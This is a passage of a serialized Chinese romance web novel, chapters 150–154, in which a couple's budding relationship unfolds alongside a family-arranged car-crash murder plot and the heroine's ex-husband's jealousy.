周自衡扣紧她后颈的力道,重了几分,“别乱动,否则我真的会控制不住。” …… 二楼。 柚子睡得迷迷糊糊的。 她记得刚刚妈妈还在给她讲睡前故事。 虽然她很喜欢妈妈给她讲的故事。 妈妈每次讲故事时,都会分角色扮演故事里的每一个人物,讲得绘声绘色。 连故事里小动物的声音,风声,雷雨声,都能模仿如真。 可是,柚子还是想让周爸爸给她讲睡前故事。 自从搬过来周爸爸这边之后,柚子开始迷恋上有爸爸疼爱、照顾,每天和她说晚安的温馨日子。 今天周爸爸不在家。 柚子好失落。 等了又等。 不知不觉间睡着了。 没睡一会儿,又惊醒了。 睁眼一看,屋子里只有一盏靠墙的小夜灯亮着。 “妈妈,妈妈?” 她爬起来,光着脚丫子,打开门,走出去。 一只小小的身影,来到二楼的栏杆处。 揉了揉惺忪睡眼,往下一望。 妈妈整个人,被周爸爸扑倒在沙发上。 两个人,在亲亲哎! 小丫头捂着嘴巴,偷偷一笑。 然后,猫着小小的身子,一步一步地,小心翼翼地回到房间。 小丫头生怕惊搅了爸爸妈妈。 …… 一楼。 沙发上的林听突然用力推开周自衡。 那一刻,她用尽了全身的力气。 一双慌乱的眸子,不敢抬起来。 像是有些生气了。 “周自衡,我看你伤得也不重,你自己擦药吧。” “我明天早上要去见薛老,我先上楼睡了。” 周自衡坐在沙发上,看着逃离时,耳尖泛起桃花色的林听的背影,唇角微微一扬。 她真的有在害羞! 像个少女一样。 他以为,经历了江遇的伤害,她对男女之事再不感兴趣。 没想到刚刚她竟然也会对他害羞? …… 翌日清晨。 早起的林听洗漱完毕后,站在门后前。 她握着门把手,却久久没有开门走出去。 她不知道走出这扇门以后,要如何与周自衡相处。 昨晚发生的一切,她没办法当作没发生一样。 昨夜漏掉的心跳,像是安装了延时功能似的。 一直延时到现在,依然漏了半拍。 按照惯例,但凡周自衡在家里住,他必定会起得比她还早。 早早就去柚子的房间,哄着柚子起床。 给柚子挤好牙膏,挑好她最喜欢的衣服裙子。 他甚至会耐心地帮柚子梳好头发。 最近柚子的发型,每天不重样。 这个男人在别人眼里,不是杀伐果断,手段残忍,麻木冰冷吗? 怎么能细心到,连小女孩的头发,也能梳得漂漂亮亮的。 她养女儿也有五年多了。 连她这个亲生妈妈,会辫的发型,也没有周自衡那般花样百出。 周自衡是什么时候学会的? 就在林听握着门把手,神思飘远时,门外传来一大一小的声音。 “爸爸,你答应我的,要和妈妈给我生弟弟妹妹,什么时候生呀?” “这个问题,你要问妈妈,决定权在妈妈手上。” “妈妈这个小懒猪还没起床哎!” “柚子,你先下楼吃早餐,爸爸叫妈妈这个小懒猪起床。” “爸爸,那你要给妈妈早安吻哦。” “嗯!” 嗒嗒嗒。 门外传来柚子下楼的声音。 周自衡见柚子下楼后,骨节分明的手指,在林听的房门,轻轻叩了叩。 林听拽紧衣服一角,平息了呼吸节奏,这才开门。 周自衡看到门里站着的林听,扬起唇角,微微一笑,“早!” 林听点点头,掩饰着内心的尴尬,也是微微一笑,“早,我刚刚起来。” “嗯。”周自衡平静自如地点点头,“洛叔洛婶已经准备好早餐了,下楼吃饭。” 说完,他长腿一迈,准备下楼。 走了两步,又回过头来,看着她。 那平静沉稳的目光一如往昔。 看不出什么异样来。 随即,喊了她一声,“林听!” 这声线低沉撩人,拂过林听耳畔。 呼吸节奏,又乱了。 “嗯!” 他看着她,继续说,“昨天晚上,是我的初吻。” 说完,这个男人平静自如地转身离开。 留下一句意味深长的话语,让站在原地大脑宕机的林听,细细消化着。 初吻? 虽然知道他身边从来没有女伴。 但这个男人的初吻,竟然能留到三十三岁? 信息量太大。 林听越是消化着,越是耳尖泛红。 楼下,洛叔洛婶已经准备好了早餐。 柚子小小一团的身影,坐在餐椅上,乖乖地等着爸爸妈妈。 见周自衡下来后,小柚问了一句,“爸爸,妈妈怎么还没有下楼来?” 正说着,林听便后脚进入了餐厅,坐到了柚子的旁边。 洛婶见林听脸颊发红,不由关切地问了一句,“林小姐,你是不是感冒发烧了,身体不舒服?” 只有林听自己知道,她到现在还在消化着,周自衡的那一句——昨晚是他初吻。 她低着头,撒谎道,“可能有一点吧。” 她从来不在柚子面前撒谎,越是撒谎,耳朵越是发烫。 第150章 耳尖都是烫的 林听耳尖是烫的。 胸口也是烫的。 连洛婶说了几句关心她的话,她也没有注意到。 她慢慢地平复呼吸。 对面坐着的男人,端给她一碗黄芪红枣枸杞汤,“喝点汤,补气血的。” 她看着碗里的汤,埋头说了声谢谢,没敢抬头去看周自衡的眼睛。 这时,洛婶打量着柚子今天扎的双尾鱼骨辫。 “柚子,今天的辫子,也是爸爸给你辫的?” 柚子骄傲道,“是呀,爸爸可会帮我辫头发了。” 柚子一双大大的,黝黑如葡萄般的眼睛,落在周自衡身上。 满眼都是崇拜和喜欢。 她的周爸爸,可是比那个江渣渣,好的不只一星半点。 从小到大,柚子缺失的父爱,在周爸爸这里,都得到了弥补。 周爸爸每天都会坚持给她讲睡前故事。 会给她辫头发,会帮她挤好牙膏,在她懒床的时候,耐心地哄她起床。 会在下雨天,把她背在背上。 柚子简直太喜欢现在的爸爸啦! 洛婶不由好奇,“周先生,你的手怎能如此巧?让我一个老太婆都辫不出这么好看的头发来。” 洛川站在旁边,忍俊不禁,“妈,你不知道了吧,家主闲下来的时候,经常拿着一个戴假发的假模特,跟着视频里的编发教程,学了一遍又一遍。” 周自衡递给洛川一个眼神:就你多嘴。 洛川收起笑容,不敢再说话。 林听不由抬起头来,这才看了一眼坐在对面的周自衡一眼。 他额头右侧如鸡蛋大小的擦伤,已经微微结痂。 不再流血了。 昨晚应该确实只是普通的追尾。 但是,林听又有些不安。 周自衡向来是报喜不报忧,天大的事情从他嘴里说出来,也像是没事儿似的。 就像上一次,周六少差点枪杀他。 他也是风轻云淡间,一句带过。 她关切地问了一句,“周自衡,昨晚真的没什么事吧?你身上没别的伤了吧?” 洛川插了一句,“林小姐,真的只是普通追尾,你放心吧。” 实则,这就是一起蓄意谋杀。 肇事逃逸的那个大车司机,已经被抓住了。 这时,餐桌上对面的周自衡,拿出两个漂亮的盒子。 那是昨天,他让洛川从车祸现场翻出来的,送给柚子的礼物。 柚子接过盒子,打开一看。 “哇,好漂亮的头绳发夹。” 还有书包挂件,长命锁,平安扣,平安绳,手链,脚镯,以及柚子的生肖吊坠——一只可爱的金色小老鼠。 周自衡说,“柚子,另一份是给落落姐姐,你帮爸爸送给落落姐姐。” 林听看着这满盒子的礼物,那些挂坠,多为黄金打造。 太贵重了。 她问,“怎么突然想起,送这么多礼物给柚子和落落?” 这个问题,直到送柚子和落落去了幼儿园,又送林听去医院的路上,洛高才替周自衡回答。 “林小姐,那些头绳发夹,手链,吊坠,包括书包挂件,都有安装隐形的追踪装置。” “为了以防万一。” 追踪装置被伪装在里面,可以监听和卫星定位。 以后,就不怕柚子不见了,再找不着人。 林听不由感慨,这个男人,心思竟然如此细腻。 恐怕连柚子的亲生父亲——江遇,也想不到如此细致。 周自衡送完林听,又去了一趟公安局。 …… 拘禁室。 一个身形枯槁,脸色蜡黄的男人,被铐在椅子上。 门被推开。 周自衡走进去。 他长身玉立,铁血刚毅的身影,压迫得椅子上的男人,呼吸一滞。 铐着手铐的手,紧紧蜷了蜷。 “我说过了,是刹车失灵才出了意外。我怕撞死人,所以才逃跑的。” “你们不用问了,不管问多少遍,我还是只有这一个答案。” 周自衡坐下来。 昨晚车祸后,这个肇事逃逸的司机,没过两小时就被抓住了。 工作人员审了一个晚上,硬是审不出个所以然来。 但是,却查到了不少。 跟进来的洛川,站在他身侧,开口道: “胰腺癌晚期,癌中之王。” “就连林江医药的抗癌药,也没办法治愈。” “所以临死前,你收了雇主五百万,让对方从境外账户,汇款到你妻子的银行卡上。” “你则帮你的雇主,撞死我家家主,对吗?” 这是洛高的猜测。 因为这个胰腺癌晚期病人,其妻的银行卡上,确实莫名其妙多了五百万的境外汇款。 他就只是一个挣扎在温保线上的货车司机。 货车还是贷款买的。 这分明就是有人买凶杀人。 “说,谁在背后指使你?” “他们是不是想要我家家主的命?” “只要你供出指使者,你妻子账户上多出的五百万,不会被充公没收。” “否则,这五百万也会鸡飞蛋打。” 身形枯槁的男人,打死不肯泄露半分。 反正他已经是将死之人,而且那笔钱,妻子也已经取出来,另作安排了。 他咬死不松口:“我说了,真的只是刹车失灵,不信你们可以查。” 洛高:“那这五百万怎么解释?” 对方:“国外亲戚给的。” 洛高:“将死之人,什么也不怕了,是吧?” 对方:“我背后没有人指使,这就是一起普通的刹车失灵导致的交通事故。随你们怎么查。” 洛川还想再问,这面黄肌瘦的男人,已经缓缓闭上了眼睛,“我是病人,累了,要休息了。” “你信不信……”洛川面色发狠时,周自衡比了一个打住的手势,“算了,我们走。” 既然买凶者想要他的命,就不可能在这个面黄肌瘦的司机嘴里,套出任何有用的信息。 周自衡今日亲自来这一趟,只是想看看,买凶者究竟做得有多滴水不漏。 从审讯室走出去,工作人员很负责任地对他说道:“周少,这件事情我们会继续查下去,一有消息立马通知您。” 周自衡脸色淡淡,“有劳!” 离开公安局后,周自衡和洛高回了一趟周家山庄。 山庄,西楼。 这是周自衡这个月以来,第三次走进西楼。 不管他有多忙,每周他都会回来一趟。 西楼里住着的,是他的亲生父亲,周才昆。 此时此刻,秋日午后的阳光,透过西楼的那棵木棉树,斑驳地落在周才昆坐在轮椅里的,苍老的身影上。 见到周自衡,他阴森森一笑,“哼!” 这笑容,让午后的阳光,忽然透出一股寒气。 周自衡站在周才昆的轮椅前,淡淡道,“见到我还活着,很意外,对吗?” 周才昆很鄙夷地抽开了目光,“我不知道你在说什么。” 从周自衡三岁归家时,周老爷子便十分不喜欢这个佣人爬床生下来的私生子。 他甚至不愿承认,他是周家最聪明才智的那一个。 如今,周才昆被周自衡活活囚禁在此,他一心想着让周自衡死,一心想着重新离开西楼这座无形的监狱,重新执掌整个周氏财阀集团。 他恨不得将周自衡挫骨扬灰。 这些心思,周自衡全看在眼里。 亲生父亲,一次次想置他于死地,早已麻木千疮百孔的心,依然会血淋淋地疼。 他捏紧拳头。 拳背和手臂上浮出的每一根青筋,都带着他深深的痛楚。 “老爷子也很失望,对吗?” “失望就对了。” “我命硬,死不了。” 他说的每一个字,都迸发着他生命里的狠劲与韧劲。 转身离开西楼时,心却空落落的。 “洛高,把老爷子身边每个伺候的人,查一遍。” “人,全部换掉。” 秋日午后,周自衡挺拔的身影走出西楼。 这周家山庄,是自三岁归家后,从小长大的地方。 他抬眼看着周家山庄的处处繁华,到处都透着让他不堪回首的痛苦回忆。 这么大的周家,如此多的血亲,可是却没有一个人想让他活着。 他的胸口窒息而难受。 连心跳也是麻木的。 直到手机里来了一通电话。 周自衡看了看来电显示,这才感觉自己的心跳又有了活力。 自从和林听假装是一对情侣开始,他便将她的电话号码备注成了:周太太。 划开接听键,那头传来林听的声音。 第151章 林听是他生命中唯一的一道光 “周自衡,你在忙什么呢?” 林听也不知道,自己为什么会给周自衡打这一通电话。 今天是她回鹏城,跟着薛老先生出诊的第一天。 薛老今天只坐诊上午半天。 她便跟了半天。 结束后,她在医院食堂吃了午饭。 然后到了超市,准备买点吃的用的,再回君悦府。 这会儿,她正推着购物车,一边给周自衡打电话,一边逛着超市的生鲜区。 电话那头的周自衡,听闻林听的声音,胸腔处积压的郁结之气瞬间消散了不少。 林听的声音,仿佛是带着巨大的治愈力量。 听到她的声音,周自衡顿觉连空气都新鲜了不少。 那会他在监狱的时候,他心中唯一的力量也是林听。 只要还能听到林听的声音,周家那些糟心事,根本就不值一提。 他在电话里,温柔一笑,“你不会是想我了,才打电话给我吧?” “……”电话这头的林听,一时接不上话。 她推着购物车,停下来。 刚刚明明是想看看海鲜价格,这会儿竟然忘了自己到底要做什么。 脑海里自动闪过昨晚周自衡亲她的画面。 那是周自衡的初吻。 林听耳尖烫得很,却平稳着自己的呼吸,故意掩饰道,“我就是想问问你,晚上想吃什么,我在超市买菜。” 电话那头的周自衡,坐到山庄荷花池旁的长椅上,淡淡开口,“那你是在关心我的胃?” 明明是这淡淡的语气,却有一种情侣之间的调风弄月之意。 问得电话那头的林听,有些心虚。 见她没有回答,周自衡笑着又说,“一般我喜欢做什么,吃什么,我只告诉我女朋友。你是吗?” “……”林听的脑袋有些卡壳了。 周自衡问这句话是几个意思? 她推着购物车往前走,不由嘀咕了一声,“周自衡,你不说就算了。晚上我只做我和柚子喜欢吃的,你自己在外面吃吧。” 说着,心跳漏掉半拍的她,就要挂电话。 那头的周自衡,立马换了一副投降的语气,“好,我不逗你了。和你们在一起,吃什么我都喜欢。你照着你和柚子的喜好买,我都可以。” 这句话,林听也没有听出言外之意。 意思是,和喜欢的人在一起,吃什么他都喜欢。 直到挂了电话,林听还在琢磨着周自衡的话。 今天的周自衡,说话怎么怪怪的? 总感觉他好像是想表达什么。 她推着购物车,漫无目的地闲逛着,忘了自己到底要买什么,一直在揣摩着周自衡言外之意的意思。 难道,是她猜测的那个样子? 想到什么,林听觉得自己的耳尖更加发烫。 …… 周家山庄。 洛高站在周自衡的身侧,跟着忍俊不禁。 每一次家主和林小姐通电话,只要能听到林小姐的声音,家主再差的心情都能瞬间好起来。 他再冷再麻木的眼神,也能瞬间被暖化。 洛高笑道,“家主,你每天多给林小姐打几通电话吧。” 那样,就能看到家主的脸上时常挂着笑意。 他可不想看到家主整天板着一张脸,对谁都冷冰冰的样子。 还得是林小姐,才能让家主冷硬的面容染上柔和笑意。 洛高正欣慰着,只见周自衡勾起的唇角弧度,瞬间被压下来。 唇间笑意消散。 眼帘抬起的刹那,瞳孔仿佛结上了一层冰碴子。 寒意顺着他冷硬的眉硬漫开。 漆黑的眼底翻涌着暗潮。 空气仿佛结了一层冰。 洛高顺着周自衡的目光望去,看到了一个不速之客。 那是周自衡的生母。 曾经,在周老爷子五十岁寿宴上,给周老爷子下了药,爬上周老爷子的周家女佣——朱丽媛。 那个将周自衡带到这个人世间,却从未尽过母亲责任,只想着利用周自衡稳固自己在周家地位的自私虚伪的女人。 洛高心说:糟糕! 家主好好的心情,又要被这个自私的女人给搅得稀碎。 朱丽媛知道周自衡不待见自己,可她还是厚着脸皮走到荷花池前,冲着周自衡假惺惺开口。 “阿衡,我听说昨晚你出车祸了,你没事吧?” 说话间,朱丽媛抬手,伸向周自衡受伤的右额。 这只手却被周自衡冷着脸拍开。 周才昆身边的每一个佣人,都是洛高精挑细选的。 他们肯定不敢吃里扒外,去帮一个坐轮椅里的,失权失势的老头子。 周家现在谁掌权,谁得势,周家上上下下人人都十分清楚。 谁敢为了一个被囚禁的老爷子,暗杀正当权的他? 那个和周才昆里应外合的人,很有可能不是照顾在周才昆身边的佣人,而是眼前这个假惺惺的女人。 周自衡的眉眼里,像是淬了冰,“你怎么知道,我出了车祸?” 这件事情,除了周才昆知道,就只有他和洛高还有林听知道。 心虚的朱丽媛,不敢再看周自衡的双眼。 她眼神飘忽,结结巴巴,“我,我经过车行,刚好看见江遇送给你的那辆酒红色红旗越野车,送去维修了,所以我就猜测,你可能是出车祸了。” “哼!”周自衡冷哼一声,“周才昆答应你,我死之后,给你多少好处?” 朱丽媛抬起头来,委屈得想哭: “阿衡,你在说什么呢?我怎么可能希望你死? 你可是我的亲儿子。 我好不容易才盼到你当上了周家家主,想着周家那些女人再也不敢欺负我了。 你要是死了,我能有什么好处啊? 再说了,我可是你的亲妈。” 亲妈! 这两个字,朱丽媛是怎么好意思说得出口的? 自打周自衡有记忆开始,身为亲妈的朱丽媛为了能见周才昆一面,经常故意让他生病。 不是在大冬天的,把他泡在冰冷的水缸,让他感冒发烧。 便是亲自将他推下楼梯,摔断腿骨,还要对周才昆谎称,是他自己不小心摔了。 因为只有他受伤了,周才昆才会见他们母子俩一面。 更重要的是,只有他受伤了,周才昆才会给朱丽媛一笔钱。 儿时的伤痛,仿佛烧红的铁烙,狠狠地印在周自衡的身心,留下了一辈子永远无法抹灭的阴影。 如果可以选择出生,他从来不愿意当周才昆和朱丽媛的儿子。 可他的身体里,偏偏流着朱丽媛的血。 他勾唇冷笑。 嘲笑着自己的出生,也嘲笑着朱丽媛这假惺惺的话语。 这样的冷笑,让朱丽媛心里发麻。 她小心翼翼地打量着周自衡的每一个神情变化,大气也不敢出一下。 可是,她心里还是只想着自己的事情,“阿衡,你看,你都当上周家家主了,整个周家上上下下所有的家产都是你的。你可不可以给妈妈涨点生活费。你一个月给我那三万块钱,根本不够我花销。” 第152章 爸爸妈妈亲亲了 周自衡每月让财务给朱丽媛转三万生活费。 这完全是看在,她是他的亲生母亲的份上。 否则,这三万也没有。 他二话不说,直接冷冰冰道,“你要是嫌三万不够,那就出去工作,赚多少花多少。” 说完,根本不给朱丽媛再说话的机会,直接迈开大步,从朱丽媛面前冷冷走过。 朱丽媛想要上前继续争取,被洛高伸手拦下。 “夫人,你要是再多说一句,家主可能真的会把你赶出周家。” 自己的儿子向来说一不二,朱丽媛是了解的。 她果真不敢再开口,只能眼睁睁地看着周自衡的背影渐渐远去。 荷花池的拱形长桥上,周自衡放缓脚步,对身边的洛高说道,“去查一下。” 洛高心领神会,“家主,我也怀疑你出车祸的事情,和夫人老爷子都有关系。我现在就去查。” …… 周家山庄,西楼。 朱丽媛和儿子周自衡分别后,来到了周才昆的面前。 如今周才昆八十有四。 而朱丽媛才五十出头,加上她保养得十分好,看上去不像五十岁的老太太,反倒像是四十出头,正是风韵犹存。 两人呆在一起,周才昆坐在轮椅里,朱丽媛在旁边优雅地坐着,手上剥着桔子。 看上去,两人像是两父女。 桔子剥好了,朱丽媛把桔子瓣递过去,“老爷子,你之前答应过我的,我帮你联系外面的人,你给我好处。是不是该兑现了?” 朱丽媛长得十分好看。 是那种祸国殃民的妩媚妖艳型女人。 可是周才昆从来不多看朱丽媛一眼。 他看不起朱丽媛这等靠出卖身体往上爬的女人。 她就是个下贱货色。 为了钱,连自己的亲生儿子也舍得出卖。 这种女人,顶多只能拿来当棋盘上一枚随时可以丢弃的棋子。 老爷子最喜欢吃桔子,可是朱丽媛剥好的桔子,他看都不看一眼,淡淡道,“周自衡不是还没死吗?” 朱丽媛慌了,“可是我冒着和阿衡反目成仇的风险,帮了你。老爷子,你总不能一分钱也不给我吧?” 周老爷子觉得有这个女人在,连空气都是污浊的,“我的前提条件是,周自衡必须得死。但是他死了吗?” 周自衡并没有死。 这个朱丽媛唯一的用处,也没有了。 “那怎么办,我再帮你联系外面的人,再让他出一次车祸?” 周老爷子不再说话。 如今他被周自衡囚禁在山庄西楼,想要与外面的人联系,难如登天。 况且,周自衡已经开始怀疑了。 虽然他从来都不承认周自衡的身份,可他不得不佩服周自衡的能力。 他所有的儿子,都不及他。 想要扳倒他,重新拿回周家掌权之位,还得更加小心谨慎。 周才昆闭着眼睛,声音寡淡,“你已经暴露了,以后不要再来西楼。” 这样的结果,朱丽媛不甘心。 为了帮老爷子,她冒着与自己亲生儿子反目的风险,可是到头来一分钱也拿不到。 她抓住周老爷子的手,“老爷子,虽然阿衡没有死,可是我也帮了你。你好歹多多少少兑现一点。阿衡每个月给我的三万块的生活费,根本不够我的花销。你又不是不知道,在豪门圈子里呆着,想要和那些豪门太太保持关系,处处都需要花钱打点。” 周老爷子这才睁开眼睛,满眼鄙夷地看着她,“你是不是忘了,最开始的时候你只是周家的一个小女佣,工资不过八九千。” 三万还不知足。 人心不足蛇吞象。 真是个贪婪的女人。 这个女人连亲生儿子都能出卖,周才昆根本不打算重用她。 既然只是一枚棋子,被踢出局时,便再无价值。 “滚!” 老爷子淡淡地说出这个字,又闭上了眼睛。 明明是那样淡的语气,却让朱丽媛一个字也不再敢说下去。 她知道周老爷子阴狠手辣,如果惹怒了他,命都不保。 虽然现在周老爷子被周自衡囚禁在了西楼,可是他在外面还有人。 她只能忍气吞声,乖乖离开。 离开前,甚至还假装贤惠地,替老爷子盖上了毯子。 直到走出山庄西楼,这才敢用力捏碎手中剥了皮的桔子。 拿不到老爷子承诺的三千万。 看来,她得重新想办法了。 …… 周家药厂。 周自衡从车间走出来,回到办公室。 洛高在旁边汇报着: “家主,你猜对了,车祸的事情果然和母亲有关。老爷子答应了她,只要你死,就会给她三千万的酬金。但是还有一个坏消息,那个得了癌症的货车司机,在拘留所用筷子捅破自己的喉咙,恐怕抢救不过来了。估计就是抢救过来,也不能从他嘴里套出什么有用的线索来。” 三千万! 呵,他的亲生母亲,三千万就把他卖了。 周自衡脱着白色工装服的手,顿了顿。 他无力地握紧拳头,想要抓住些什么,却什么也抓不住。 洛高见他一脸破碎不堪,不由在旁边安慰道: “家主,你也别难过了。” “他们不爱你,以后有的是人爱你。” “等你和林小姐结了婚,你们有了孩子,你们一家肯定会幸福美满的。” “那些伤害你的人都不重要,不要往心里去。” 洛高上初中的时候,便和周自衡认识了。 那个时候母亲生了病,就连几千块钱的医药费,他们家也付不起。 他跪在医院外的门口,求求好心人帮忙。 没有一个人愿意相信他,都以为他是骗子。 只有周自衡为他驻足,并且替他交了母亲所有的医药费。 从那个时候开始,洛高便发誓,以后他的这条命都是周自衡的。 他既是他的家主,也是他的兄弟,朋友。 “家主,而且,你还有我。” 周自衡很欣慰。 在他最落魄的时候,洛高没有离开他。 他能成功越狱,并且成功翻案,重回周家拿到周家掌权之位,洛高功不可没。 他拍拍洛高的肩,“放,那些事情我不会放在心上。” 习惯了,也麻木了。” 况且,只要一提到林听,他心中的阴云顿时散了大一半。 他把身上的白色工装服脱下来,走出药厂的办公室,“去东江幼儿园。” …… 东江幼儿园。 柚子和落落在上美术课。 这节课的美术老师,是江遇。 这段日子,林江医药的许多事情,江遇都不愿再花心思。 他一门心思花在柚子和林听身上。 给东江幼儿园投资一个亿,来当美术老师和体育教练,已经有好一段日子了。 柚子依然对他态度很冷。 江遇也识趣,不再巴巴地迎上去,再惹柚子讨厌。 每次上课,他会远远地瞧着柚子。 有时候,柚子画画时,画得认真,他便在旁边静静地看着。 他错失了她五岁以前所有的陪伴,以后陪完她幼儿园,小学,初中,高中,大学……总有一天柚子一定能原谅他的。 他站在柚子的身后。 静静地打量着这抹小小一团的身影。 他和女儿,明明挨得这么近,却又觉得隔着千山万水,无法跨越。 柚子和落落说着悄悄话。 “落落姐姐,你知道吗,我看见爸爸妈妈在沙发上抱着亲亲。” “真的吗?那你是不是很快就能有弟弟妹妹了。我听同学说,大人们只要亲亲了,就能有宝宝。” 柚子捂嘴,偷偷笑道,“我想让爸爸妈妈先给我生个妹妹,像盼盼一样可爱的妹妹。生完了,再生一个弟弟。” 落落问:“为什么不能一起生?” 柚子也问,“妈妈的肚子,能同时装得下两个宝宝吗?” 第153章 嫉妒得发狂 江遇站在身后,听着女儿柚子和落落说着的悄悄话。 他垂在身体两侧的,骨节分明的手,紧紧握成拳头。 心,苦成了黄连。 有那么一瞬间,他站都快站不稳了。 女儿柚子嘴里所谓的爸爸,指是的周自衡。 而不是他这个亲生父亲。 江遇有自知之明。 而女儿所说的,林听和周自衡相拥相吻的画面,在他脑海里成了一幅清晰的构图。 越是清晰,他的拳头握得越紧。 拳背上每一根突起青筋与血管,仿佛下一瞬就要炸裂似的。 他从来没有像现在这般窒息过。 以至于旁边有小朋友在喊他,喊了好几声,他都没有察觉。 听闻有别的小朋友在喊他,柚子和落落回头一看,见江遇半天才回过神来,弯下腰去和小朋友讲绘画技巧。 两个小妮子又扭回脑袋,继续说着悄悄话。 落落在柚子耳边说,“柚子妹妹,你这个亲爸看起来怪可怜的。不过可怜之人必有可恨之处,活该他今天孤孤单单的。你不理他,是对的。” 柚子哼了哼声,“我一辈子都不会原谅他。” 想到身后那个男人,对她和妈妈做过的所有事情,柚子快要被气炸掉啦。 落落赶紧安慰她,“对,一辈子也不原谅他!” …… 美术课结束后,江遇坐进了那辆黑色的红旗国礼,准备离开东江幼儿园的停车场。 启动引擎后,他一边开着车,一边给江书臣打着电话。 蓝牙耳机里,传来江书臣调侃的声音。 “忙着追妻追女的大忙人,你终于有时间给我打电话了?” 江遇没有回答,直接问出了问题: “我让你帮我办的事情,办得怎么样了?” 说着这句话时,这辆黑色的红旗国礼,驶出东江幼儿园职工车道的进出口。 车子驶离。 入口的道闸升降杆自动降落,发出一阵刺耳的声音,刺得江遇心烦意乱。 想到柚子所说的话,更是胸口窒息钝痛。 此时,正是放学接孩子回家的高峰时期。 江遇把车子开得很慢。 江书臣在那头说了什么,他没有听清楚。 因为此时此刻,他看到一抹高挑纤瘦的身影,从一辆黑色的奔驰车上走下来。 那是一身精致迷人的林听。 江遇见她和开门的司机说了两句,“小赵,你先回去吧。周自衡一会儿就到了,我和两个孩子坐他的车回去。” 司机站在她面前,恭恭敬敬地点了点头,“好的,林小姐,您注意安全。” 林听笑得明媚动人,“嗯!” 江遇有许久没有见过林听这般明媚的笑容了。 可是这样的笑容只会在周自衡面前才会展露。 他的心酸成了一棵柠檬。 在林听不经意间抬眸,看到他这辆黑色的红旗国礼,又与驾驶室的他不约而同地四目相对,目光瞬间变冷时,他的心仿佛被撕裂出一个大口子。 刚才她对一个司机都能笑的那般温柔。 见到他,却是这般冷冰冰的。 那冰冷的目光夹杂着她对他的反感,厌恶,憎恨,抵触。 只看了他一眼,便快速抽离了目光。 而江遇,没有下车。 他知道如果下车走到她的面前,硬要和她拉近距离,只是自讨没趣。 就在这时,视线里出现了周自衡的身影。 他朝着林听走去。 这一天,周自衡身心疲惫。 母亲朱丽媛因为三千万的诱惑,就要他的性命。 昨夜这起车祸的始作俑者,一个是他的母亲朱丽媛,一个是他的父亲周才昆。 肇事司机又是一个身患绝症的将死之人,被关在拘留所也能用一双筷子戳破自己的喉咙,一死之了。 什么证据也没有留下。 如果不是因为那辆酒红色的红旗国耀,是多年前江遇为他特殊定制的,车身防撞防爆防弹,他恐怕非死即残。 穿过幼儿园门口来来往往的家长人群,周自衡停在林听的面前。 二话不说,长臂一伸,将林听直接拥入怀里。 男人的气息,夹杂着好闻的雪松香气,迎面将林听完完全全包裹。 这种气息林听已经不排斥了。 反而觉得很好闻。 只是,她被惊了一跳,整个身子紧紧一崩,“周自衡,你怎么了?” 她犹如惊弓之鸟。 周自衡感受到她紧崩的背,动作更用力,也更温柔。 低头时,硬朗的下巴轻轻碰了碰她的发,“让我好好抱一抱。” 男人明明全身都充满了力量。 可是林听却觉得,他忽然像是一只受伤的雄狮。 也不知道是发生了什么事情。 她垂落在身体两侧的无处安放的手,缓缓抬起来,落在他结实有力的背部,轻轻拍了拍。 无声的安慰,让周自衡满血复活。 只有在如此抱着她的时候,他才能感觉到,自己的心是跳动的,是活着的。 不远处,黑色红旗国礼轿车里的男人,已经下了车。 他看着此时此刻,在家长来来往往的校门口,紧紧相拥的周自衡和林听二人。 他们仿佛看不见来往的家长。 彼此完全沉浸在这个拥抱当中。 林听那熟悉的侧脸,那熟悉的小鸟依人模样,仿佛是一根生锈的钉子,狠狠钉进了江遇的胸口。 曾经林听这般小鸟依人模样,只属于他江遇一人。 此刻回忆里的甜蜜和林周二人相拥的画面,却成了一把捅进他心窝子的刀。 喉咙里泛起苦胆汁般的烧灼感。 明明这才刚入秋,江遇却觉得指尖比冬天还要更冷。 他僵在原地。 风卷着校门口的落叶,擦过他的身边。 周遭所有的热闹喧哗,全都停在了林周二人相拥的静止画面上。 江遇不知道自己是迈着怎样沉重的步伐,穿过车流,走向林周二人的。 此时此刻,林听察觉到周自衡抱着她的时间略显久了一些,她微微挣扎。 男人无声地抱着她,臂力加重,不容她离开这个怀抱。 “周自衡,那么多人还看着呢。” 周自衡依然没有松手,“也包括朝这边走来的江遇。” 随即,又说,“你不是想让他死心吗,那就再抱一会儿。” 哦……原来是因为这个,才抱她? 就在这时,江遇停在二人面前。 他紧紧握着拳。 嫉妒,发狂,醋意翻涌。 他甚至想要一拳送周自衡上西天。 可是,所有的情绪被他压了下去。 他看着周自衡额头上鸡蛋大小的擦伤,问,“看见你的车送去车行维修了,撞得还不轻,是不是出车祸了?” 诚然,此时此刻的他嫉妒周自衡,嫉妒得发狂。 可是周自衡始终是他最好的兄弟,他曾经为他挡过刀子,救了他一命。 他不希望周自衡出事。 第154章 这个男人竟然也有软肋 江遇从来没有想过,他和周自衡之间的兄弟情,会一次一次的破裂。 之前是因为他错怪了周自衡,误会了他。 现在又是因为,周自衡真正抢走了他的女人。 可是不管这兄弟情破碎成什么样子,江遇依然希望对方安然无恙长命百岁。 看着周自衡额头上的伤,他忍着心中酸楚与痛意,关切地问了一句: “没受别的伤吧?” 也是在这个时候,周自衡怀里的林听,这才抬头起身。 她乖乖巧巧地站在了周自衡的身侧。 周自衡也自然而然地,握住她的右手,与她十指紧扣。 这样的细微的动作,被江遇尽收眼底。 心跟针扎似的。 可他知道,他没有资格说什么。 是他亲自把林听推开的。 面对他们那些甜蜜恩爱,他只能默然握拳,因果自受。 周自衡冷不丁回了一句,“放心,死不了。” 江遇知道,周自衡到现在还在怨他,怨他对他从无信任,怨他既然得到了林听却又不知道好好珍惜林听,让林听受了许多委屈和伤害。 “……”他沉沉地叹了一口气,又问,“是不是周家的人又对你下手了?” 周自衡:“与你无关。” 这个时候,柚子小朋友从学校门口跑出来,欢快地扑到妈妈和周爸爸的面前,后面跟着落落姐姐。 周自衡一手牵着一个小朋友,又领着林听上了车。 江遇在身后喊了一声,“阿衡,我认识一个改造汽车的高手,可以为你重新定制一辆更有安全性能的车。” 回应江遇的,只有周自衡冷冷的背影。 眼前车来车往,人流穿梭。 明明那样喧嚣和热闹。 江遇却觉得他的世界只剩下他一个人。 他发现自己孑然一身,孤苦无依,人人都不待见他。 看着周自衡带着林听和两个孩子离开后,他拖着行尸走肉的身体,坐回那辆黑色的红旗国礼。 他重新拨通了江书臣的电话。 江书臣问,“刚刚干嘛挂我电话?” 江遇并不回答,直接说明自己的意图,“我让你给我准备的现金流,准备得怎么样了?” 江书臣十分好奇,“江遇,你突然要抽走两千亿的现金流,到底要干什么?” 